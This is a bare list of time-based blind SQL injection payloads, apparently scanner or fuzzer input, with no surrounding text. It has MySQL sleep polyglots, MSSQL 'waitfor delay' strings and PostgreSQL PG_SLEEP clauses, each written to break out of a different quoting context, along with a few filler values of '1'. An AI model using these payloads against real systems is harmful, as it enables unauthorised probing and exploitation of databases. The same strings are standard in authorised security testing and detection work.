(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

555-1; waitfor delay '0:0:15' --

1

1

555-1); waitfor delay '0:0:15' --

555-1 waitfor delay '0:0:15' --

555ln2X8mXf'; waitfor delay '0:0:15' --

555-1 OR 878=(SELECT 878 FROM PG_SLEEP(15))--

555-1) OR 486=(SELECT 486 FROM PG_SLEEP(15))--